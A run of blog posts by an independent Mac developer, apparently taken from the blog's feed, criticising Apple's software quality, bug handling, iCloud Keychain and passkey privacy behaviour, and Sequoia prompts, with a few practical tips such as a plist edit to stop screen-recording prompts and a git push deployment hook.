Apple continues to dismiss bug reports https://lapcatsoftware.com/articles/2024/11/1.html 2024-11-25T17:15:00Z 2024-11-25T17:15:00Z As far as I can tell, the Apple developer boycott of Feedback Assistant, which I launched a year ago, appears to have gone nowhere and made little impact, unfortunately. I personally ended my boycott a couple of months ago when I filed a Feedback about visionOS that I didn't want to publicize. I've filed only a few bug reports since then, but Apple is already up to its old tricks, the kind of crap that previously inspired my boycott. For example, a few weeks ago I filed FB15713878 "Safari app extensions disabled in profile after opening Safari Website Settings". I've discovered—no thanks to Apple, who never notified me—that this Feedback has been marked with the resolution "Investigation complete - Unable to diagnose with current information." Yet nobody asked me for more information! Apple just doesn't seem to care. Apple engineering would rather close bug reports than actually fix the bugs.

The bug in question is 100% reproducible for me on two different Macs. As I've explained before, app extensions and web extensions are different types of Safari extension. Of my own apps, StopTheMadness Pro and StopTheScript are Safari app extensions, whereas Homecoming for Mastodon and the discontinued Tweaks for Twitter are Safari web extensions. (StopTheFonts is a Safari content blocker.)

Safari Extensions Settings

To reproduce the bug, I first create a new profile, which I'll call Test. All of the extensions that are enabled in the Safari Extensions Settings above are automatically enabled in the Test profile.

Safari Profiles Settings

Now I select the Websites pane in Safari Settings, and then quit Safari. The purpose of selecting the Websites pane is to make it the selected pane the next time that Safari Settings are opened.

Safari Websites Settings

Notice that when I relaunch Safari, the Safari app extensions and the Safari web extensions are enabled in the Personal profile.

Safari Personal window

Now I open Safari Settings again and select a Safari app extension in the Websites pane. In this case, I select StopTheMadness Pro.

Safari Websites Settings, StopTheMadness Pro

Finally, I open a new Test profile window from the Safari File menu.

Safari File Menu, New Test Window

Notice that only the Safari web extensions are enabled in the Test profile, not the Safari app extensions!

Safari Test window

If I look at Safari Profiles Settings, I see again that the Safari app extensions are disabled in the Test profile, while the Safari web extensions remain enabled.

Safari Profiles Settings

This bug is a variation of the bug that I blogged about back in July. The behavior now is slightly different, though the effect is basically the same. I concluded that blog post by saying, "On most days, it appears that Apple's quality assurance is inadequate." It's no wonder! Apple clearly doesn't even want to investigate the bug reports it receives. Perhaps with Apple now rumored to have postponed a larger than usual number of new upcoming features, it's finally time to end the pernicious annual operating system release cycle and return to a more sensible, gradual schedule, with plenty of time for bug fix releases, which is how we got the Snow Leopard that everyone remembers. But for that to happen, Apple has to start caring about quality again, and there's no sign of such a sentiment in the executive suite.

]]>
Apple silently uploads your passwords and keeps them https://lapcatsoftware.com/articles/2024/10/4.html 2024-10-31T18:45:00Z 2024-10-31T18:45:00Z This is a follow-up to my blog post macOS Sonoma silently enabled iCloud Keychain despite my precautions from five months ago. The TL;DR of that blog post is that when you have iCloud enabled but not iCloud Keychain, updating from Ventura to Sonoma causes iCloud Keychain to be silently enabled. (I don't know yet whether that still occurs when updating from Sonoma to Sequoia.) What I didn't realize at the time, indeed didn't realize until now, is that iCloud Keychain already uploaded all of my passwords and kept them in iCloud even after I disabled iCloud Keychain.

Let me start with some background. My main machine with all of my personal data including passwords is a MacBook Pro, which is still running Sonoma. It's logged into iCloud, but I don't use iCloud for anything personal. The only reason I enable iCloud is to work on sync features in my apps for my customers. Also for development purposes, I have an iPad and a Mac mini with macOS Big Sur through Sequoia installed on separate APFS volumes. Both devices are used only for software testing and contain no personal data. Finally, I have an iPhone, which I've never actually logged into iCloud.

Today I was shocked to discover a bunch of my website passwords in Safari while booted into Sequoia on the Mac mini. There shouldn't be any personal data on the mini, and iCloud Keychain is disabled in its Sequoia volume. Incidentally, the reason I was looking at Safari passwords on the Mac mini is that I noticed on the MacBook Pro that Allow Automatic Passkey Upgrades was automatically, silently enabled in Safari, and I wanted to check whether that was also true on other devices.

Safari Passwords Settings

I looked around on other boot volumes on the Mac mini and other devices but didn't find my passwords anywhere else except in Sequoia. I was struggling to determine how my passwords got there when eventually I remembered my old blog post, which allowed me to reconstruct a plausible scenario.

The key piece of evidence was that when I opened the Sequoia Passwords app and sorted by date edited, the most recent was May 25, 2024. Coincidentally, my old blog post, written when I updated the MacBook Pro to Sonoma, was on May 26, 2024. There aren't any more recent passwords on the Mac mini, yet there are more recent passwords on the MacBook Pro.

Hence, my assumption about what happened is that when I updated the MacBook Pro to Sonoma, iCloud Keychain got silently enabled, and all of my passwords quickly got uploaded to iCloud, before I could disable it. When I disabled iCloud Keychain on the MacBook Pro, my passwords did not get removed from Apple's servers. They've been sitting up in iCloud all along. But I had no way of knowing that, because iCloud Keychain is not enabled on any of my devices. The only way to see the contents of iCloud Keychain is on an Apple device with iCloud Keychain enabled. You can't even see anything on the icloud.com website.

WWDC 2024 was in June, the month after I updated the MacBook Pro to Sonoma. I installed the new Sequoia beta on the Mac mini and signed into iCloud. When I signed into iCloud for the first time, Sequoia must have automatically enabled iCloud Keychain, which caused my already synced passwords to be downloaded. These are what I see now in Safari and the Passwords app. Once again, when I disabled iCloud Keychain in Sequoia back in June, that didn't remove the passwords from either the Mac or from iCloud.

The question is, how do you delete all data from iCloud Keychain? I found an old Apple support document from 2021 with the Wayback Machine:

What happens when I turn off iCloud Keychain on a device?

When you turn off iCloud Keychain for a device, you're asked to keep or delete the passwords and credit card information that you saved. If you choose to keep the information, it isn't deleted or updated when you make changes on other devices. If you don't choose to keep the information on at least one device, your Keychain data will be deleted from your device and the iCloud servers.

However, the URL https://support.apple.com/en-us/HT204085 now redirects to https://support.apple.com/en-us/109016, which says nothing about deleting keychain data from iCloud servers:

If you turn off iCloud Keychain

  • When you turn off iCloud Keychain, password, passkey, and credit card information is stored locally on your device.

  • When you sign out of iCloud on your device while iCloud Keychain is turned on, you're asked to keep or delete your Keychain information.

    • If you choose to keep the information, your passwords and passkeys are stored locally on your device, but aren't deleted or updated when you make changes on other devices.

    • If you don't keep the information, your passwords and passkeys aren't available on your device. An encrypted copy of your Keychain data is kept on iCloud servers. If you turn iCloud Keychain back on, your passwords and passkeys will sync to your device again.

Apparently Apple now just keeps your iCloud Keychain data forever, whether you want them to or not? I didn't even want Apple to have my keychain data in the first place!

As a workaround, I manually deleted all of my passwords in the Passwords app in Sequoia, enabled iCloud Keychain, and then disabled iCloud Keychain again. To verify the password deletion, I booted into Sonoma on the Mac mini and enabled iCloud Keychain there. Fortunately, no passwords were downloaded from iCloud. (As I mentioned in my old blog post, Sonoma System Settings still has the bug where it hangs and crashes when you disable iCloud Keychain. Apple software quality on exhibition.)

I'm still concerned about other data that may still be in iCloud Keychain. For example, what about wifi passwords? I can't very well delete my wifi password on the Mac mini and then sync the deletion to iCloud Keychain, because of course I can't sync anything without wifi! And what else does iCloud Keychain store that I can't necessarily see in the user interface? Hopefully nothing else…

By the way, after I published my old blog post about iCloud Keychain, I did ultimately find a solution to prevent iCloud Keychain from ever getting silently enabled: use a MDM profile.

]]>
Apple rejected my Vision Pro app update https://lapcatsoftware.com/articles/2024/10/3.html 2024-10-31T14:45:00Z 2024-11-01T12:30:00Z StopTheMadness Pro has three variants, one each for iOS, macOS, and visionOS, because I created native apps for each platform rather than simply porting an iPad app to Mac and Vision Pro. The way the App Store works, each native app variant must be reviewed separately by Apple, so every update to StopTheMadness Pro must now pass through an obstacle course of three reviews. The latest updates for iOS and macOS were accepted by Apple with no objection and are now available in the App Store. However, the latest update for visionOS, with the same changes as in the other app variants, was rejected by Apple. My response to Apple's app reviewer, which I sent over 24 hours ago, has so far gone unanswered.

Apple's rejection notice was brief and not very informative:

Guideline 2.1 - Performance - App Completeness

Issue Description

The app exhibited one or more bugs that would negatively impact App Store users.

Bug description: after we launch the enable the Safari extension, the features listed in URL https://underpassapp.com/StopTheMadness/test.html were not functional.

The typo "after we launch the enable the Safari extension" is verbatim from the reviewer. There were also two screenshots included. The first screenshot shows StopTheMadness Pro enabled in the Settings app. Everything looks fine and normal.

The second screenshot shows the above linked test page open in Safari.

And… that's it! Apple's app reviewer never specified what they think is wrong, what exactly was not functional for them.

Needless to say, I've tested this myself and found nothing wrong. And again, the iOS and macOS app reviews uncovered no problems. My strong suspicion is that the reviewer of the visionOS update was just confused about how the extension works and mistakenly concluded that it doesn't work. Unfortunately, I haven't yet been able to elicit any clarification from the reviewer.

At this point, I regret supporting Vision Pro. Since I released the initial version of StopTheMadness Pro Spatial three weeks ago I've sold only 21 copies total, which is very disappointing. The last thing I need is to hassle with Apple App Store review in order to update a product that hardly anyone is buying anyway. Welcome to this great new platform!

Addendum November 1 2024

Last night, 42 hours after I had responded to App Review, Apple finally approved my visionOS update, and I released StopTheMadness Pro Spatial 11.0 in the App Store this morning.

The app reviewer's response to me was as terse and mysterious as before. They didn't provide any of the clarification that I requested. The reply was simply, "Thank you for providing this information. We will continue the review, and we will notify you if there are any further issues."

App Store Connect app review messages
]]>
How Safari can improve extensions: Redux https://lapcatsoftware.com/articles/2024/10/2.html 2024-10-23T16:35:00Z 2024-10-23T16:35:00Z In my first blog post of the year, way back at the beginning of January, I wrote about how Safari can improve extensions, offering a number of suggestions. Last month, Apple released a major update to Safari, version 18 for iOS and macOS, so now it's time to look back at how my suggestions fared.

1. Bring the Manage Extensions widget to Mac from iPad

No.

2. Bring toolbar customization to iOS from Mac

No.

3. Add extensions permissions to the Website Settings popup

No.

4. Don't distinguish between content blockers and extensions

No.

5. Document the extension highlight color

No.

6. Bring missing extension API to iOS from Mac

No.

7. Combine the app extension and web extension API

No.

8. Fix the extension bugs

Yes and no.

Some of my extension bugs were fixed in Safari 18, including one I had mentioned specifically in the previous blog post. However, other critical bugs remain unfixed, including another one I had mentioned specifically.

There was a nasty new extension storage data loss bug in Safari 18.0, but fortunately that has already been fixed in Safari 18.0.1.

9. Fix the web inspector bugs

Yes and no.

The worst bug, website data loss, was indeed fixed, actually in Safari 17.4. In the previous blog post I said that I had 14 open web inspector bugs—not including feature requests—in the WebKit Bugzilla, and now I have 21, so I'm not sure that's progress.

10. Handle Safari extension updates better

No

Conclusion

From my perspective, 2024 appears to be a lost year for Safari extension improvements from Apple.

One notable new feature in Safari 18 was support for content blockers and web extensions in Safari web apps on macOS. Unfortunately, however, Safari app extensions such as my own StopTheMadness Pro are not supported in Safari web apps. For me, this new feature has created nothing but hassle, because not only was my extension overlooked by Apple, but I'm also getting support requests for me to enable StopTheMadness Pro in Safari web apps, which of course I can't do, and I'm forced to try to explain the complex technical details to customers.

]]>
Mac App Store receipt validation problem on Sequoia https://lapcatsoftware.com/articles/2024/10/1.html 2024-10-17T15:12:00Z 2024-10-19T14:05:00Z This problem was highlighted the other day in an update to Michael Tsai's earlier blog post about “Damaged” Mac App Store Apps, but I think it's important enough to warrant a dedicated blog post, because Mac developers who missed the update need to know about it. The problem is that if you compile your app with the macOS 15 SDK in Xcode 16, and your app exits with the status 173—the traditional way to handle Mac App Store receipt validation failure—then macOS 15 Sequoia will show the user an alert:

exit(173) Not Available

The alert is terrible for at least two reasons. First, the text is total nonsense to end users and meaningful only to app developers. Second, the text is inaccurate. Exiting with status 173, for example returning 173 from the main() function, still works! A new, valid Mac App Store receipt will be fetched, if possible. In this respect, the only difference between Sonoma and Sequoia is that Sequoia shows the annoying, confusing, inaccurate alert to the user.

As far as I'm aware, the new macOS 15 behavior has not been documented by Apple anywhere. The only "documentation" is the alert itself. It has the feel of something directed at developers that was added to the Sequoia betas and then forgotten by Apple, accidentally included in the public release. I'm just speculating here, though, because again, Apple has made no statement whatsoever about the alert, or for that matter about the future of the 173 exit status.

The current documentation for validating App Store receipts on the device is at https://developer.apple.com/documentation/appstorereceipts/validating_receipts_on_the_device. It doesn't mention exit 173 specifically but does say,

If your app receipt validation fails, respond to that failure as follows:

  • Don’t try to terminate the app. Without a validated receipt, assume the user doesn’t have access to premium content. Provide a user interface to gracefully handle this case and inform the user what they can do to get full access to your app’s features.

  • If the app receipt is missing or corrupt, use the SKReceiptRefreshRequest object to refresh the app receipt.

This documentation sounds like it's focused on In App Purchase, but my Mac App Store apps are all upfront paid, so there's no distinction between access to "premium content" and access to the app itself. There's nothing the user can do to get full access to the app's features; the app simply needs the operating system to fetch the App Store receipt. However, the documentation's link to SKReceiptRefreshRequest indicates that this API is deprecated!

Unfortunately, the Wayback Machine hasn't been working well lately, so I haven't been able to track down when exactly Apple's developer documentation changed. I found a version from June 18, 2022 that said,

If the receipt validation fails, respond to that failure based on the platform:

  • macOS: call exit with a status of 173. This exit status notifies the system that your application has determined that its receipt is invalid. At this point, the system attempts to obtain a valid receipt. If the system successfully obtains a valid receipt, it relaunches the application. Otherwise, it displays an error message to the user, explaining the problem.

  • iOS, iPadOS, tvOS, watchOS, iOS Apps running on Apple silicon, and apps built with Mac Catalyst: use the SKReceiptRefreshRequest class to refresh your receipt. Don’t try to terminate the app if validation fails. At your option, you may give the user a grace period or restrict functionality inside your app.

There's an older document in the Apple developer documentation archive from September 2021 that said,

If validation fails in macOS, call exit with a status of 173. This exit status notifies the system that your application has determined that its receipt is invalid. At this point, the system attempts to obtain a valid receipt and may prompt for the user’s iTunes credentials.

If the system successfully obtains a valid receipt, it relaunches the application. Otherwise, it displays an error message to the user, explaining the problem.

Do not display any error message to the user if validation fails. The system is responsible for trying to obtain a valid receipt or informing the user that the receipt is not valid.

The archive document https://developer.apple.com/library/archive/releasenotes/General/ValidateAppStoreReceipt/Chapters/ValidateLocally.html now simply redirects to the current documentation at https://developer.apple.com/documentation/appstorereceipts/validating_receipts_on_the_device.

Note that at no point did the documentation say that exit 173 was deprecated!

Some clarification from Apple about this problem would be welcome. Also, the alert on Sequoia needs to be either rewritten for end users or, preferably, eliminated.

Addendum October 19 2024

Developer Alexander Blach has discovered that this issue appears to affect only the sandbox environment, not the production environment. I had tested a number of Mac App Store apps but couldn't find one that returned 173 on launch. Blach did find one, Mona for Mastodon. Mona's Info.plist file indicates that it was built with Xcode 16 and the macOS 15 SDK. Ironically, I'm a user but didn't think to test Mona, because it's free with In App Purchase, not upfront paid. The test is simple: delete the _MASReceipt folder in the app bundle on Sequoia and launch the app.

I speculated above that the exit(173) Not Available alert "has the feel of something directed at developers that was added to the Sequoia betas and then forgotten by Apple, accidentally included in the public release. It turns out that I was close but not quite right. Apparently the alert was indeed directed at developers. The good news is that end users shouldn't see the alert, and developers will see the alert only when testing their apps.

Again, some documentation by Apple, any documentation, would have obviated the need for this blog post.

]]>
Safari 18 randomly appearing sidebar https://lapcatsoftware.com/articles/2024/8/12.html 2024-09-30T15:42:00Z 2024-09-30T15:42:00Z I never use the sidebar in macOS Safari and always keep it closed. However, since I updated to Safari 18 on macOS 14.7, I've been seeing new Safari windows open with the sidebar open. This is driving me crazy! It doesn't happen every time, though. It's seemingly random, which makes the issue extremely difficult to diagnose. It frequently happens when I open a URL from another app, such as Mail, Mona, or my own Link Unshortener.

In Safari General Settings, Safari opens with a new private window, new windows open with an empty page, and new tabs open with an empty Page.

Is anyone else seeing this issue? If so, please let me know via Mastodon or email. I want to get this on Apple's radar, without actually using Apple's Radar, which is a black hole.

]]>
More annoying macOS 15 Sequoia prompts: Bluetooth https://lapcatsoftware.com/articles/2024/8/11.html 2024-09-23T15:00:00Z 2024-09-23T15:00:00Z It turns out that the monthly screen recording prompts are not even the most annoying new "feature" of macOS 15 Sequoia. Behold!

If you turn Bluetooth off you will not be able to use your Bluetooth devices.

"If you turn Bluetooth off you will not be able to use your Bluetooth devices." I mean, duh?!?

Does this prompt appear monthly? No, that would be far too convenient. So how often? Every. Single. Time. You. Try. To. Disable. Bluetooth.

Have I mentioned that Apple re-enables Bluetooth on every OS update on purpose? This behavior continues with macOS 15. Also, Bluetooth is notorious for security vulnerabilities; just google site:support.apple.com bluetooth "security content".

The prompt warns that I "won't be able to use a Bluetooth keyboard or mouse," despite the fact my Mac mini already has a USB keyboard and mouse plugged in. Indeed, the Mac isn't using any Bluetooth devices, and macOS knows this but doesn't care. Moreover, the Bluetooth prompt appears even when all Bluetooth-related features are disabled such as AirDrop and Handoff. There's no "intelligence" to the prompt.

Notice in the screenshot above that the Leave Bluetooth On button is blue. That indicates the button is the default, and Bluetooth will remain on when you press return, which makes the prompt passive-aggressive. Fortunately, the Turn Bluetooth Off button is focused, as indicated by the blue focus ring around it, so you can turn Bluetooth off by pressing the spacebar when the prompt is displayed, as long as you remember the distinction between return and spacebar for controls. However, that works only when the "Keyboard navigation" setting is enabled in the Keyboard pane of System Settings. I always enable that setting whenever I install macOS, but it's not enabled by default. Thus, for the majority of Mac users who don't enable the setting—and may not be aware of it—there's no focus ring in the Bluetooth prompt, and they're forced to use the mouse to click the Turn Bluetooth Off button.

At this point it would be unfair to compare macOS to Windows Vista, though. That is, it would be unfair to Vista! Under the reign of Tim Cook and Craig Federighi, macOS has actually become worse than Windows Vista, rapidly approaching the parody of Vista in Apple's old "Get a Mac" commercial. It's truly heartbreaking what they've done to a formerly great operating system.

]]>
Stop macOS 15 Sequoia monthly screen recording prompts https://lapcatsoftware.com/articles/2024/8/10.html 2024-09-21T14:50:00Z 2024-09-21T14:50:00Z All credit for this discovery should go to Ricci Adams, who told me about it. But Ricci doesn't have a blog, and I do, so here it is. Thank you very much, Ricci, and please start a blog!

Much has already been written about the new monthly screen recording prompt in macOS 15 Sequoia. As always, Michael Tsai has an excellent summary.

Shottr is requesting to bypass the system private window picker and directly access your screen and audio. Allow For One Month

The good news is that there's a way to stop the prompts forever. Ricci Adams found the file where the prompt dates are stored.

defaults read ~/Library/Group\ Containers/group.com.apple.replayd/ScreenCaptureApprovals.plist

This file is protected by TCC, so to access it you'll need to grant Full Disk Access to Terminal app.

{
    "/Applications/Shottr.app/Contents/MacOS/Shottr" = "2024-09-21 12:40:36 +0000";
}

In the plist file, the keys are the paths of the executable files with screen recording permission, and the values are dates. I'm using the Shottr screenshot tool as an example.

To stop the prompts forever—for the rest of your life, anyway—set the date to far in the future, for example, the year 3024 instead of 2024.

defaults write ~/Library/Group\ Containers/group.com.apple.replayd/ScreenCaptureApprovals.plist "/Applications/Shottr.app/Contents/MacOS/Shottr" -date "3024-09-21 12:40:36 +0000"

You'll need to do this for each app, and afterward logout and login again so that the replayd process recognizes the new defaults.

At this point, I typically spoil my blog posts by writing something nasty about Tim Cook, Craig Federighi, and company, so I'll refrain from that this time and just let you enjoy your newfound freedom from monthly nagging.

]]>
Can't change security policy or disable SIP with macOS 15 Sequoia https://lapcatsoftware.com/articles/2024/8/9.html 2024-09-20T18:50:00Z 2024-09-20T18:50:00Z My M1 Mac mini, which I use for software testing, has five APFS boot volumes, one each for macOS 15 Sequoia, 14 Sonoma, 13 Ventura, 12 Monterey, and 11 Big Sur. Today I learned that I can no longer change the startup security policy or disable System Integrity Protection (SIP) on any of the boot volumes. (I actually didn't bother to test macOS 11, but I did test 12 through 15.) This used to be possible, as demonstrated by the fact that the Sonoma volume still has a Reduced Security policy rather than a Full Security policy. And I've definitely disabled and re-enabled SIP before on various volumes.

I've been testing macOS 15 Sequoia since the first WWDC developer beta, and the Mac is currently running the release candidate, which I believe is the same as the public release and has an identical build number to the public release. Since I was able to change the macOS 14 security policy before, I have to assume that installing macOS 15 somehow messed up my Mac.

When I boot into the recovery volume, open Startup Security Utility, and attempt to change the Security Policy from Full Security to Reduced Security, I get an error.

The operation couldn't be completed. (SDErrorDomain error 104.)

This happens on Sequoia, Ventura, and Monterey. I also get the same error on Sonoma when I attempt to change the Security Policy from Reduced Security to Full Security!

When I open Terminal app in the recovery volume and enter csrutil disable to disable SIP, I get the following error:

csrutil: Failed to update security configuration for "Sequoia": Failed to create paired recovery local policy

This also happens on Sonoma, Ventura, and Monterey.

I'm at a loss. I searched the web and found a few results for the error message but no solution. I'm not familiar with the intricacies of Apple silicon hardware lockdown. Why is this happening, and how do I fix it?

]]>
Passkey privacy issues https://lapcatsoftware.com/articles/2024/8/8.html 2024-09-19T15:30:00Z 2024-09-19T15:30:00Z Today I downloaded a copy of my data from https://privacy.apple.com, Apple's Data and Privacy website. (For some reason it took 5 days after my request for the data to be ready for download.) I highly recommend that you download your data too, because you might be shocked how much Apple has on you. Apple's advertisement "What happens on your iPhone stays on your iPhone" appears to be a blatant lie. My purpose in downloading my data wasn't to go on a fishing expedition, though. I was just looking for my old reviews of movies and TV shows on the iTunes store, which were indeed included in the downloads. I like to keep a copy of reviews to remind myself what I've watched and liked or disliked. Anyway, browsing through the data downloads, I found a file "Passkeys Information.csv" (comma-separated values, readable by Numbers app, for one) in the "Apple ID account and device information" section of the data. The contents of this file disturbed me for several reasons.

First, I don't even use passkeys! I've written about passkeys before and why I avoid them. Unfortunately, Apple's passkey implementation requires iCloud Keychain. I don't want to use anyone's cloud service—not Apple's, not Google's, not 1Password's—because I don't want to place my credentials database under someone else's control and because I don't trust the availability and reliability of cloud sync. I prefer to manage credentials myself. Thus, I was surprised to find two passkeys in the "Passkeys Information.csv" file. I don't recall ever creating a passkey.

The csv file lists the created date and last used date of the passkeys, which were the same: July 25, 2023. Coincidentally, that was the same day I installed iPadOS 17 beta 4:

The latest iPadOS beta seems to have silently enabled iCloud Keychain.

(Although I don’t actually have any passwords on the iPad.)

https://appdot.net/@lapcatsoftware/110776034855270972

I've discussed this bug before. What I didn't realize until now is that enabling iCloud Keychain also automatically generated apple.com passkeys. I must have missed it at the time or forgot, but Apple automatically assigned passkeys to users of iOS 17, iPadOS 17, and macOS 14 Sonoma. Since passkeys require iCloud Keychain, it makes sense that this happened the exact same time that iCloud Keychain was (forcibly) enabled on my iPad. However, I seem to have lost the passkeys when I manually disabled iCloud Keychain, because the new Passwords app in iPadOS 18 shows zero passkeys. I have no idea how to revoke the lost credentials on Apple's systems.

Back to the "Passkeys Information.csv" file. It has two rows for the two passkeys (I don't know why there are two rather than one) and eleven columns. The columns are Created Date and Last Used Date, as I've already noted, as well as Credential ID, Device IP Address, Device Name, Device Serial Number, Device UDID, Domain, Hardware Model, Key ID, and Public Key.

The Device IP Address is "NA", fortunately, and the Key ID is 1. The Domain is apple.com. The Hardware Model is iPad, as is the Device Name, which I assume is the same as the name in the About section of General Settings. The Device Serial Number is the last four characters of my iPad's actual serial number and * characters for the rest. The Device UDID is my iPad's actual full UDID, with no characters anonymized. The Credential ID appears to be Base64 for one passkey and a string of hexadecimal digits for the other passkey; I don't know what they represent, but hopefully they're just random. I assume that the Public Key is part of the cryptographic key pair used by passkeys for authentication.

My question is, why does Apple have all of this personal, private information, stored in plain text? Is that how passkeys always work? Does every website where you login with a passkey get your device model, name, UDID, and last 4 characters of your device serial number? I have no idea. I don't know how passkeys are implemented. But it's something we ought to know, something that passkey vendors ought to tell us. The privacy implications of widely distributing that information are disturbing. Downloading my data from Apple has brought more questions than answers.

]]>
Safari missing feature: auto-clear website data https://lapcatsoftware.com/articles/2024/8/7.html 2024-08-29T14:20:00Z 2024-08-29T14:25:00Z When I search for the same text in multiple Safari tabs, I experience a lot of trouble with Safari failing to remember the search string in the find panel.

Safari find panel with empty search string

As a workaround, sometimes I open a new TextEdit document, start a search for the desired text, and switch back to Safari, which then remembers the search string across multiple tabs. Today I finally realized the cause of my trouble: I mostly use private windows in Safari. It turns out that Safari intentionally forgets the find panel search string in a private window.

Safari General Settings

I use private windows for two purposes: (1) to prevent websites from tracking me with cookies or other saved website data and (2) to prevent Safari from saving websites to a disk cache, which can quickly consume gigabytes of space, without limit. (Another negative side effect of the disk cache is that it can show stale data when you reload a web page.) I've set up a complex workflow involving my apps Link Unshortener, StopTheMadness Pro, and PrivateWindow to facilitate my usage of private windows in Safari. (Why doesn't the Safari new windows setting have a private window option?) Despite all of my efforts, though, I still occasionally use the wrong type of window in Safari, by accident.

Safari private windows were apparently designed for a different purpose than mine. I believe that they were meant to hide your web browsing entirely from other people who have physical access to the device. This is why Safari forgets the search string in private windows. This is also why, for example, Safari now has a setting to lock private windows.

Safari Privacy Settings

From my perspective, as the only person who ever uses my MacBook Pro, which is protected by FileVault, these private window features are totally useless, indeed annoying. I'm not worried about anyone else rummaging through my device. I haven't even given any passwords or recovery information to my family, so if I happened to die, my data would go with me to the grave.

What I really want, instead of private windows, is a feature already possessed by Firefox (about:preferences#privacy) and Google Chrome (chrome://settings/content/siteData), the ability to automatically clear website data.

Firefox Settings

Firefox Exceptions - Cookies and Site Data

Chrome Settings

Firefox and Google Chrome can be set to automatically clear website data by default, without having to use private windows. And of course you can specify a list of exceptions, individual websites where you want to preserve site data and remained logged in permanently.

Safari Websites Settings would be a perfect place for a similar feature. Cupertino, start your photocopiers!

Feedback Assistant Boycott

]]>
macOS firewall slows DNS queries https://lapcatsoftware.com/articles/2024/8/6.html 2024-08-13T19:20:00Z 2024-08-13T19:20:00Z I learned of this issue from a Reddit post and decided to investigate.

When I enable the built-in firewall on macOS Sonoma, I've noticed that my DNS query times increase - we're talking several times slower.

The built-in firewall can be enabled and disabled in the Network pane of System Settings. I'm able to reproduce the issue not only on macOS 14 Sonoma but also 13 Ventura, 12 Monterey, and 11 Big Sur. For testing, I'm using the dig command-line tool:

time dig @192.168.0.1 example.com

The IPv4 address 192.168.0.1 is my router. Run the command at least once before timing it to make sure that example.com is already in the router's DNS cache. The point of querying a cached value on your LAN is to eliminate internet latency from the equation.

When the firewall is disabled, my dig query time is almost always under 20 milliseconds. When the firewall is enabled, my dig query time is always over 50 milliseconds. This timing is consistent over multiple macOS versions and two different Macs, with one exception that I'll mention shortly.

I took packet traces of the DNS queries with the firewall enabled and disabled. What I found is that the DNS query response packet consistently arrives in under 20 milliseconds after the query packet is sent, regardless of whether the firewall is enabled. Thus, it appears that the extra query time added by the firewall is caused by on-device processing of the packets rather than by any network issue.

On my MacBook Pro running Sonoma, but not on my Mac mini running Sonoma, I frequently experience a bizarre issue where the dig command takes over 5 seconds to complete when the firewall is enabled. This issue never happens when the firewall is disabled. Packet traces show that there are actually two separate DNS query and response pairs occurring. Each of the two response packets arrive in under 20 milliseconds, as usual, but the two DNS query packets are separated by 5 seconds. It appears that for some reason, macOS rejects the first query response, waits 5 seconds, then makes a second query, which is accepted. I have no idea why this happens.

Here's the good news: I've tested the macOS 15 Sequoia beta, and its DNS queries have no additional firewall latency! The query time with the firewall enabled is just as fast as when the firewall is disabled. So perhaps Apple has finally fixed this firewall issue, whatever it is?

Feedback Assistant Boycott

]]>
How I git push from my laptop to my website https://lapcatsoftware.com/articles/2024/8/5.html 2024-08-12T15:10:00Z 2024-08-12T15:10:00Z I keep this website under version control in a git repository on my MacBook Pro. The tricky part is getting the website files from my laptop onto my web server. In the past I did this manually via SFTP, which obviously sucked. With help from the excellent customer service of my web host Tiger Technologies, whom I've been with since 2006 and recommend highly, I realized that I could just git push from my local repository. This is possible because my web server allows ssh access and also has git installed. That's all you need. I'll provide a little tutorial here, in the hope that someone finds it helpful.

First, I logged in to my web server via ssh and created a "bare" git repository.

git init --bare --initial-branch=main /[home directory]/git.git

The reason for the bare repository is that I never use it to make commits, which are all done on my laptop, and I want to keep the .git directory separate from the publicly hosted website files. You don't want to publish your ugly git history!

After creating the bare repository, I added a "hook" that runs whenever I push to the repository. The hook is an executable shell script file /[home directory]/git.git/hooks/post-receive on the web server.

#!/bin/sh
git --git-dir=/[home directory]/git.git --work-tree=/[home directory]/html checkout --quiet --force

The --work-tree argument needs to be specified because it's a bare repository. The html directory is where the website files are served from.

In the git repository on my laptop, I added the remote repository.

git remote add web [user name]@lapcatsoftware.com:~/git.git

The first time I push from my laptop to the web server, I call --set-upstream to allow the use of a simple git push in the future.

git push --set-upstream web main

And that's it! Whenever I push to the web server, it automatically checks out the latest commit from the main branch, and the files from that commit are served to the public.

I used to have a .gitignore file with the following contents.

.DS_Store
/temp/

You have to love the old .DS_Store, right? I didn't want to serve either .DS_Store files or the .gitignore file from my website, so I simply moved the contents of .gitignore to the file .git/info/exclude in my local repository.

Feedback Assistant Boycott

]]>
New macOS bug: Updates Available notification with no updates https://lapcatsoftware.com/articles/2024/8/4.html 2024-08-08T17:15:00Z 2024-08-08T17:15:00Z I first saw this bug on the macOS 15 Sequoia betas, which I ignored as a beta issue, but I've started to see the bug on Sonoma too after updating to macOS 14.6, and the bug continues on macOS 14.6.1. I've seen the bug on both my MacBook Pro and my Mac mini.

Out of nowhere, an "Updates Available" notification appears, despite the fact that I already installed the macOS 14.6.1 update yesterday.

New software is ready to be installed.

When I click the notification, it opens the Software Update pane in System Settings, which checks for updates and finds… nothing. "Your Mac is update to date."

Your Mac is update to date.

Note that I use Little Snitch to prompt for connections from the softwareupdated process, but there was no prompt before the "Updates Available" notification. After I clicked the notification, there was a prompt to connect to swscan.apple.com when System Settings opened.

The value of defaults read com.apple.SoftwareUpdate UserNotificationDate seems to be the same as the time that the false notification appeared. Perhaps my trick to stop Upgrade to macOS Sonoma notifications, i.e., set the date to the far future, would work in this case too?

Apple's software quality assurance is at an all-time low. We can't even avoid beta bugs by sticking to the so-called "stable" releases, because now Apple backports the beta bugs to those (un)stable releases. It Just Breaks™.

Feedback Assistant Boycott

]]>
Apple memory holed its broken promise for an OCSP opt-out https://lapcatsoftware.com/articles/2024/8/3.html 2024-08-07T16:35:00Z 2024-08-07T16:35:00Z When you launch an app, macOS connects to Apple's OCSP service to check whether the app's Developer ID code signing certificate has been revoked by Apple. In November 2020, Apple's OCSP service experienced a mass outage, preventing Mac users worldwide from launching apps. In response and remedy to this outage, Apple made several explicit promises to Mac users in a support document, which can still be seen in a Wayback Machine archive from September 24, 2023.

To further protect privacy, we have stopped logging IP addresses associated with Developer ID certificate checks, and we will ensure that any collected IP addresses are removed from logs.

In addition, over the the next year we will introduce several changes to our security checks:

  • A new encrypted protocol for Developer ID certificate revocation checks
  • Strong protections against server failure
  • A new preference for users to opt out of these security protections

The last item, "A new preference for users to opt out of these security protections", has never been implemented in macOS, and two years ago I wrote that Apple reneged on OCSP privacy.

Now I've discovered that on September 26, 2023, the day that macOS 14 Sonoma was released to the public, Apple erased its promise from the support document. This can also be seen with the Wayback Machine.

